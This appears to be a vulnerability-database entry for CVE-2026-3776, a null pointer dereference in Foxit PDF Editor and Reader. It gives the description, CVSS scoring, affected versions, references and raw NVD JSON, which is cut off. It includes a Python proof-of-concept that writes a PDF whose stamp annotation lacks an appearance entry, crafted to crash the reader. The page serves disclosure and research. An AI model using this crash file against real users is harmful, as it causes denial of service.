CVE-2026-3776

Description

The application does not validate the presence of required appearance (AP) data before accessing stamp annotation resources. When a PDF contains a stamp annotation missing its AP entry, the code continues to dereference the associated object without a prior null or validity check, which allows a crafted document to trigger a null pointer dereference and crash the application, resulting in denial of service.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

具体受影响版本请参考Foxit官方安全公告

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import sys

# Conceptual PoC for CVE-2026-3776
# This script generates a PDF file with a malformed Stamp Annotation
# that is missing the required AP (Appearance) entry.

def create_malicious_pdf(filename):
    # Minimal PDF structure
    pdf_header = b"%PDF-1.7\n"
    
    # Object 1: Catalog
    obj1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
    
    # Object 2: Page tree
    obj2 = b"2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n"
    
    # Object 3: Page with an Annotation
    # The page references an annotation object (4 0 R)
    obj3 = b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Annots [4 0 R] >>\nendobj\n"
    
    # Object 4: Malicious Stamp Annotation
    # Vulnerability: Missing /AP entry. The application expects /AP but dereferences a null pointer if missing.
    obj4 = b"4 0 obj\n<< /Type /Annot /Subtype /Stamp /Rect [100 100 200 200] /Contents (Test) >>\nendobj\n"
    
    # XRef Table
    xref = b"xref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000212 00000 n \n"
    
    # Trailer
    trailer = b"trailer\n<< /Size 5 /Root 1 0 R >>\nstartxref\n" + str(len(pdf_header + obj1 + obj2 + obj3 + obj4 + xref)).encode() + b"\n%%EOF"
    
    # Write to file
    with open(filename, "wb") as f:
        f.write(pdf_header + obj1 + obj2 + obj3 + obj4 + xref + trailer)
    
    print(f"[+] Malicious PDF generated: {filename}")

if __name__ == "__main__":
    create_malicious_pdf("cve-2026-3776-poc.pdf")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-3776
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-3776
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-3776/
[4] VulDB https://vuldb.com/cve/CVE-2026-3776
[5] https://www.foxit.com/support/security-bulletins.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-3776", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2026-04-01T02:16:02.590", "lastModified": "2026-04-14T17:55:57.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The application does not validate the presence of required appearance (AP) data before accessing stamp annotation resources. When a PDF contains a stamp annotation missing its AP entry, the code continues to dereference the associated object without a prior null or validity check, which allows a crafted document to trigger a null pointer dereference and crash the application, resulting in denial of service."}, {"lang": "es", "value": "La aplicación no valida la presencia de los datos de apariencia (AP) requeridos antes de acceder a los recursos de anotación de sello. Cuando un PDF contiene una anotación de sello a la que le falta su entrada AP, el código continúa desreferenciando el objeto asociado sin una comprobación previa de nulidad o validez, lo que permite que un documento manipulado active una desreferencia de puntero nulo y bloquee la aplicación, lo que resulta en denegación de servicio."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.24014", "matchCriteriaId": "8E9FD877-062E-4AE4-B7D7-91E1CA8657DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.2.33402", "matchCriteriaId": "6B7281CC-97ED-4441-BB97-6C73E328B9AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "AD0AAFC0-5B9B-4A11-8967-4699792850F1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.35737", "matchCriteriaId": "1A7AD877-2AB4-4568-8109-5406D2259725"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.2.63349", "matchCriteriaId": "2C7DEE55-1FE3-4B41-975D-BB926E9E69D4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.68868", "versionEndIncluding": "14.0.2.69164", "matchCriteriaId": "9D6DE6B5-F04E-4484-9BF9-397D49464636"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.55583", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "D8785CCE-C44C-4908-9133-13A580D5BECB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.63682", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "CF043D20-0E28-481C-8756-D1301FAE67D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.66692", "versionEndIncluding": "2025.3.0.69570", "matchCriteriaId": "20698FD4-5E28-4206-ACEA-4FCD24AD23BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.3.0.69570", "matchCriteriaId": "308530A9-A5C2-4293-BB02-00DDB6C17C37"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f3

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